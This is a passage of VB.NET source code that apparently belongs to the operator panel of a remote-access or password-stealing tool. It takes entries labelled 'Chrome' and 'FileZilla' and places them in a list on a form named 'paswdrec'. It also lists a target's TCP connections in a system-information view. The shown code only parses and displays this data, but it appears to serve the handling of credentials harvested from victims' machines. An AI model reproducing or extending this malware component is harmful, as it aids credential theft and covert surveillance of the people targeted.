Dim SubItem2 As String = text(2)
Dim SubItem3 As String = text(3)
If SubItem1 = "Chrome" Then
Dim Item As New ListViewItem(ItemName, 0)
Item.SubItems.Add(SubItem1)
Item.SubItems.Add(SubItem2)
Item.SubItems.Add(SubItem3)
paswdrec.ListView1.Items.AddRange(New ListViewItem() {Item})
ElseIf SubItem1 = "FileZilla" Then
Dim Item As New ListViewItem(ItemName, 1)
Item.SubItems.Add(SubItem1)
Item.SubItems.Add(SubItem2)
Item.SubItems.Add(SubItem3)
paswdrec.ListView1.Items.AddRange(New ListViewItem() {Item})
End If
Next
Catch
End Try
End Sub
Sub AddTCP(ByVal txt As String)
SystemInformation.ListView_tcp.Items.Clear()
Try
Dim ItemLines As New TextBox
ItemLines.Text = txt.Replace("TCPConnections", "")
For Each line As String In ItemLines.Lines
Dim text() As String = line.Split("|")
Dim ItemName As String = "TCP"
Dim SubItem1 As String = text(0)
Dim SubItem2 As String = text(1)
Dim Subitem3 As String = text(2)
Dim Item As New ListViewItem(ItemName)
Item.SubItems.Add(SubItem1)
Item.SubItems.Add(SubItem2)
Item.SubItems.Add(Subitem3)
SystemInformation.ListView_tcp.Items.AddRange(New ListViewItem() {Item})